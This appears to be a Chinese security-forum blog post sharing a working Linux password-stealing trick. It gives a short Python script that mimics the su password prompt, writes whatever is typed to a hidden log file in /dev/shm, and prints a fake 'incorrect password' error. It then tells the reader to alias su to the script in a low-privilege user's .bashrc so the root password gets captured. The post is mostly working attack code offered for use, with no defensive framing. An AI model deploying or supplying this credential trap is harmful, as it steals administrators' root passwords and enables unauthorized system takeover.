0

记录一个linux下小脚本(记录root密码)

已有 4,627 人阅读此文 - -
#!/usr/bin/python

import os, sys, getpass, time

current_time = time.strftime("%Y-%m-%d %H:%M")
logfile="/dev/shm/.su.log"
#CentOS
#fail_str = "su: incorrect password"
#Ubuntu
#fail_str = "su: Authentication failure"
#For Linux Korea
fail_str = "su: incorrect password"

try:
        passwd = getpass.getpass(prompt='Password: ');
        file=open(logfile,'a')
        file.write("[%s]\t%s"%(passwd, current_time))
        file.write('\n')
        file.close()
except:
        pass
time.sleep(1)
print fail_str

root.py

 

将这个python脚本传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/.su’;T00ls.Net – 低调求发展 – 技术无止境 – Focus On Network Security% o: C# ]# h6 E7 v/ a; U6 M
低权限用户su root 后 成功记录密码。密码记录路径请看脚本

0
相关文章!